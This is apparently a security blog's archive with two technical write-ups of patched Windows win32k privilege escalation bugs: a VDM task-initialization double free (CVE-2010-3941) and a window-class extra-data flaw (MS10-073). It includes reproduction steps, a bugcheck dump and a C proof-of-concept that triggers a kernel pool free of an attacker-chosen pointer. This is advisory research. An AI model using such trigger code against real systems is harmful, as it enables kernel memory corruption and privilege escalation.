Monthly Archives: December 2010

CVE-2010-3941: Windows VDM Task Initialization Vulnerability

In MS10-098, Microsoft patched multiple vulnerabilities reported in win32k.sys that could be leveraged by a non-privileged user to gain elevated rights on a vulnerable system. One of the vulnerabilities affected the win32k component of the WOW32 subsystem, which plays an integral role in managing and scheduling tasks (i.e. Win16 applications) in the Virtual DOS Machine (VDM). As VDM bugs historically have been of interest [1][2] to the security community, I wanted to spend some time explaining the details of this particular vulnerability.

WOW Subsystem

MS-DOS and 16-bit Windows applications are not natively supported by their own environment subsystems running in separate user-mode processes. Instead, they are supported by Virtual DOS Machines (VDM) that provide an execution environment that resembles native MS-DOS. The lowest 16Mb of the VDM uses 16-bit segmented addressing to access memory, and contains MS-DOS emulation code as well as MS-DOS applications. The upper areas of the VDM use 32-bit addressing, and are used to provide Win32 and Windows NT executive services normally provided by MS-DOS itself.

The VDM used to run Win16 applications contain an extra layer of software called the Win16 on Win32 (WOW) layer. When an application calls a Win16 function, the WOW layer intercepts the call and passes control to the equivalent Win32 function. A single VDM is shared by all Win16 applications to emulate the native Windows 3.1 environment in which all applications share the same address space.  This also allows the WOW layer to mimic the non-preemptive multitasking environment expected by Win16 applications. Although each Win16 application is granted its own thread, the WOW layer ensures that only one Win16 application’s thread is active at any given time. [3]

WOW Structures

In order to properly emulate the Windows 3.1 execution environment, threads and processes define their own dedicated WOW kernel structures. When starting a new Win16 application, CSRSS invokes the NtUserNotifyProcessCreate system call to create a WOW per thread information structure (win32k!tagWOWTHREADINFO) for the new task.

typedef struct _tagWOWTHREADINFO        // 5 elements, 0x14 bytes (sizeof)
{
/*0x000*/     struct _tagWOWTHREADINFO* pwtiNext;
/*0x004*/     ULONG32      idTask;
/*0x008*/     ULONG32      idWaitObject;
/*0x00C*/     ULONG32      idParentProcess;
/*0x010*/     struct _KEVENT* pIdleEvent;
} tagWOWTHREADINFO, *PtagWOWTHREADINFO;

Notably, the WOWTHREADINFO structure defines a pointer to the idle event object (pIdleEvent), used in WOW task synchronization, as well as a unique id (idTask) specific to each task in a VDM. The task id is also stored at offset 0×18 in an undocumented thread data structure pointed to by NtCurrentTeb()->WOW32Reserved. As the WOWTHREADINFO structure is created upon process creation, it is actually initialized before the thread object itself is set up.

When a VDM first starts up and is initialized in WOW32!W32Init, it additionally calls WOW32!WK32InitializeHungAppSupport to allocate and initialize a per process WOW information structure (win32k!tagWOWPROCESSINFO).

typedef struct _tagWOWPROCESSINFO          // 10 elements, 0x28 bytes (sizeof)
{
/*0x000*/     struct _tagWOWPROCESSINFO* pwpiNext;
/*0x004*/     struct _tagTHREADINFO* ptiScheduled;
/*0x008*/     struct _tagTDB* ptdbHead;
/*0x00C*/     VOID*        lpfnWowExitTask;
/*0x010*/     struct _KEVENT* pEventWowExec;
/*0x014*/     VOID*        hEventWowExecClient;
/*0x018*/     ULONG32      nSendLock;
/*0x01C*/     ULONG32      nRecvLock;
/*0x020*/     struct _tagTHREADINFO* CSOwningThread;
/*0x024*/     LONG32       CSLockCount;
} tagWOWPROCESSINFO, *PtagWOWPROCESSINFO;

The WOWPROCESSINFO structure is global to all tasks running in a VDM in the same way that a PROCESSINFO structure is global to all GUI threads running in a process. It holds information such as the currently scheduled task (ptiScheduled) and the list of WOW tasks (ptdbHead), sorted by priority. Each entry in the task list is represented by a task data block structure (win32k!tagTDB), shown below.

typedef struct _tagTDB              // 7 elements, 0x18 bytes (sizeof)
{
/*0x000*/     struct _tagTDB* ptdbNext;
/*0x004*/     INT32        nEvents;
/*0x008*/     INT32        nPriority;
/*0x00C*/     struct _tagTHREADINFO* pti;
/*0x010*/     struct _tagWOWTHREADINFO* pwti;
/*0x014*/     UINT16       hTaskWow;
/*0x016*/     UINT16       TDB_Flags;
} tagTDB, *PtagTDB;

The TDB is created in NtUserInitTask when a VDM calls WOW32!WK32WOWInitTask to initialize a new task. It sets the task priority (nPriority) and links the task to the WOW per-thread information structure (pwti), as well as the regular per-thread information structure (pti). The task data block structure also keeps track of pending events (nEvents), used when scheduling tasks within a VDM.

Relationships between WOW kernel structures

Task Initialization Vulnerability

In initializing a new task via NtUserInitTask within the context of a shared VDM, zzzInitTask attempts to associate the already created WOWTHREADINFO structure with the task data block structure of the new task. However, the function fails to check if the specified task id (provided in the eighth argument to NtUserInitTask) has already been initialized. Thus, in initializing a task with an id of an already initialized task, the WOW per-thread information structure is assigned to a second task. Consequently, destroying either task referencing this particular structure would cause the other task to reference freed memory. When in turn the other task is destroyed, a double free occurs. As an attacker could easily reallocate the freed memory after having destroyed the first task, the vulnerability could be leveraged to escalate privileges (e.g. by freeing an in-use object or by exploiting the kernel pool).

In short, the following steps can be taken to reproduce the vulnerability.

  1. Start a 16-bit Windows application
  2. Enumerate the task ids of NTVDM’s threads by inspecting TEB->WOW32Reserved
  3. Call NtUserInitTask from the NTVDM process and specify the task id of an existing task/thread
  4. Terminate the process

A bugcheck such as the one below should be triggered.

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 00000007, Attempt to free pool which was already freed
Arg2: 00001097, (reserved)
Arg3: 5a040063, Memory contents of the pool block
Arg4: ffa9e320, Address of the block of pool being deallocated

Debugging Details:
------------------

POOL_ADDRESS:  ffa9e320 Paged session pool

FREED_POOL_TAG:  Uswt

BUGCHECK_STR:  0xc2_7_Uswt

DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT

PROCESS_NAME:  ntvdm.exe

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from 828e9e71 to 82878394

STACK_TEXT:
96877734 828e9e71 00000003 73526f7a 00000065 nt!RtlpBreakWithStatusInstruction
96877784 828ea96d 00000003 ffa9e318 000001ff nt!KiBugCheckDebugBreak+0x1c
96877b48 8292c1b6 000000c2 00000007 00001097 nt!KeBugCheck2+0x68b
96877bc4 92e7db18 ffa9e320 00000000 00000000 nt!ExFreePoolWithTag+0x1b1
96877be0 92defd09 ffa98a08 fe59fdd8 04751a78 win32k!DestroyTask+0xa1
96877c30 92decf87 895e6158 895e6158 00000000 win32k!xxxDestroyThreadInfo+0x5b5
96877c44 92deeaa6 895e6158 00000001 895e6158 win32k!UserThreadCallout+0x77
96877c60 82a55af4 895e6158 00000001 73526422 win32k!W32pThreadCallout+0x3a
96877cdc 82a8350e 00000000 00000000 895e6158 nt!PspExitThread+0x455
96877cfc 82a81958 895e6158 00000000 00000001 nt!PspTerminateThreadByPointer+0x61
96877d24 8285042a 00000000 00000000 0287f2ac nt!NtTerminateThread+0x74
96877d24 77a564f4 00000000 00000000 0287f2ac nt!KiFastCallEntry+0x12a
0287f290 77a55d2c 77a40892 00000000 00000000 ntdll!KiFastSystemCallRet
0287f294 77a40892 00000000 00000000 0287f364 ntdll!NtTerminateThread+0xc
0287f2ac 0e08d2d8 00000000 0287f308 6f1bb442 ntdll!RtlExitUserThread+0x39
0287f2b8 6f1bb442 00000000 6f1a718d e68f4f42 ntvdm!host_ExitThread+0x13
0287f2c0 6f1a718d e68f4f42 00000200 010ec288 WOW32!WK32WOWKillTask+0x28
0287f308 0e0a23ad 0e0a32ce 80000000 00002bf4 WOW32!W32Dispatch+0xb4
0287f30c 0e0a32ce 80000000 00002bf4 00000000 ntvdm!EventVdmBop+0x29
0287f324 6f1bb3d7 16c729e8 6f1badc6 010e0f10 ntvdm!cpu_simulate+0x186
0287fb74 0e08d29d 16c729e8 e53c55e4 00000000 WOW32!W32Thread+0x611
0287fbb4 77211174 010e0f10 0287fc00 77a6b3f5 ntvdm!ThreadStartupRoutine+0x2c
0287fbc0 77a6b3f5 010e0f10 7528fc69 00000000 kernel32!BaseThreadInitThunk+0xe
0287fc00 77a6b3c8 0e08d271 010e0f10 00000000 ntdll!__RtlUserThreadStart+0x70
0287fc18 00000000 0e08d271 010e0f10 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND:  kb

FOLLOWUP_IP:
win32k!DestroyTask+a1
92e7db18 a1fcc1f392      mov     eax,dword ptr [win32k!gpsi (92f3c1fc)]

SYMBOL_STACK_INDEX:  4

SYMBOL_NAME:  win32k!DestroyTask+a1

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: win32k

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  4a5bc2a2

FAILURE_BUCKET_ID:  0xc2_7_Uswt_win32k!DestroyTask+a1

BUCKET_ID:  0xc2_7_Uswt_win32k!DestroyTask+a1

Followup: MachineOwner
---------

References

  1. Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack
  2. Windows VDM Zero Page Race Condition Privilege Escalation
  3. http://technet.microsoft.com/en-us/library/cc767884.aspx

MS10-073: Windows Class Handling Gone Wrong

In MS10-073, Microsoft addressed a privilege escalation vulnerability (CVE-2010-2744) in windows class data handling, affecting all supported versions of Windows. In this blog post, we will examine the details of the vulnerability as well as the changes made by the patch. Note that this vulnerability differs from the EoP used by Stuxnet on XP/2000, also addressed in MS10-073.

Windows User Objects

Windows manages all user interface entities such as windows, menus, and cursors as objects. In fact, win32k has its own dedicated handle table for keeping track of all active user objects in a given session. One of the most important objects is undeniably the window object. On Windows 7, win32k.sys conveniently exports symbol information for the window object structure (win32k!tagWND), shown below.

typedef struct tagWND
{
/*0x000*/     struct _THRDESKHEAD head;
/*0x014*/     ULONG32      state;
/*0x018*/     ULONG32      state2;
/*0x01C*/     ULONG32      ExStyle;
/*0x020*/     ULONG32      style;
/*0x024*/     VOID*        hModule;
/*0x028*/     UINT16       hMod16;
/*0x02A*/     UINT16       fnid;
/*0x02C*/     struct _tagWND* spwndNext;
/*0x030*/     struct _tagWND* spwndPrev;
/*0x034*/     struct _tagWND* spwndParent;
/*0x038*/     struct _tagWND* spwndChild;
/*0x03C*/     struct _tagWND* spwndOwner;
/*0x040*/     struct _tagRECT rcWindow;
/*0x050*/     struct _tagRECT rcClient;
/*0x060*/     PVOID lpfnWndProc;
/*0x064*/     struct _tagCLS* pcls;
/*0x068*/     struct _HRGN__* hrgnUpdate;
/*0x06C*/     struct _tagPROPLIST* ppropList;
/*0x070*/     struct _tagSBINFO* pSBInfo;
/*0x074*/     struct _tagMENU* spmenuSys;
/*0x078*/     struct _tagMENU* spmenu;
/*0x07C*/     struct _HRGN__* hrgnClip;
/*0x080*/     struct _HRGN__* hrgnNewFrame;
/*0x084*/     struct _LARGE_UNICODE_STRING strName;
/*0x090*/     INT32        cbwndExtra;
/*0x094*/     struct _tagWND* spwndLastActive;
/*0x098*/     struct _HIMC__* hImc;
/*0x09C*/     ULONG32      dwUserData;
/*0x0A0*/     struct _ACTIVATION_CONTEXT* pActCtx;
/*0x0A4*/     struct _D3DMATRIX* pTransform;
/*0x0A8*/     struct _tagWND* spwndClipboardListenerNext;
/*0x0AC*/     ULONG32      ExStyle2;
} WND, *PWND;

In our case, there are a few fields we want to pay closer attention to. The FNID, stored at offset 0x2A, is a constant defining the function identifier of the associated class. The FNID can be used to call any system class window procedure via NtUserMessageCall, and is also frequently used by Windows to determine if a system class window has been properly initialized (set to non-null). Also of interest is the class object pointer (pcls), stored at offset 0×64. The class defines common window attributes as well as the number of extra bytes reserved for each window (mirrored in cbwndExtra at offset 0×90). This data immediately follows a window object in memory and can be application defined or used by a system class window for class-specific data.

In order to update the extra data associated with each window, an application may call SetWindowLongPtr with nIndex set to a zero-based offset. As system class windows also store kernel pointers in the extra window memory, validation has to be performed before an operation is permitted. In particular, xxxSetWindowLong (called by NtUserSetWindowLong, for instance) checks the window FNID in order to prevent malicious attempts at updating data used by the kernel. The problem with this approach is that the FNID starts out as null, hence may allow an attacker to to pre-initialize extra data (e.g. via SetWindowsHookEx) before a system class window has been properly initialized. Although this normally shouldn’t be a problem, two system class procedures were found to incorrectly handle already initialized extra window data, leading to exploitable conditions.

Window Class Handling Vulnerabilities

The menu window system class procedure (xxxMenuWindowProc) is responsible for handling messages sent to menu windows. Upon receiving a WM_NCCREATE message, the menu window attempts to allocate and initialize a popup menu structure (win32k!tagPOPUPMENU), for which it stores a pointer in the extra window memory. However, if this pointer has already been initialized before the WM_NCCREATE message has been sent, the menu window procedure would use the existing pointer instead. As this pointer could have been set manually via SetWindowLongPtr (before the FNID is assigned), an attacker could fully control the popup menu structure, used in subsequent read and write operations. Moreover, destroying the window would result in the attacker controlled pointer being freed. The latter is demonstrated in the following test case.

#include <windows.h>

int main(int argc, char **argv)
{
	WNDCLASSA Class = {0};
	CREATESTRUCTA Cs = {0};
	FARPROC MenuWindowProcA;
	HMODULE hModule;
	HWND hWindow;

	Class.lpfnWndProc = DefWindowProc;
	Class.lpszClassName = "Class";
	Class.cbWndExtra = sizeof(PVOID);

	RegisterClassA(&Class);

	hModule = LoadLibraryA("USER32.DLL");

	MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");

	hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);

	// set the pointer value of the (soon to be) popup menu structure
	SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);

	// set WND->fnid = FNID_MENU
	MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);

	// trigger -> ExPoolFree(0x80808080)
	DestroyWindow(hWindow);

	return 0;
}

The task switch window procedure (xxxSwitchWndProc) was found vulnerable to a similar error. In processing the WM_CREATE message, the procedure failed to validate the switch window information pointer that possibly could have been pre-initialized. Consequently, any further operations involving the use of this pointer could lead to an arbitrary read or write. This flaw only appeared to have exploitable impact on XP/2003, as Vista and later verifies the pointers (in win32k!RemoveSwitchWindowInfo) by traversing a linked list of all active SwitchWindowInfo structures (win32k!gpswiFirst).

The Patch

In order to address the vulnerabilities, changes were made to the SetWindowLong APIs as well as the system class procedures. Notably, several functions now perform additional validation on the associated window class (and not just the FNID) before attempting to update extra window data. Additionally, both xxxMenuWindowProc and xxxSwitchWndProc now ensure that the extra data is null before handling the window object (and updating the FNID). This is needed as the system class pointer in a window object is never actually updated upon “converting” to a system class in the test case above. Thus, the changes made to xxxSetWindowLong would not alone be sufficient to prevent pre-initialization of window system class data.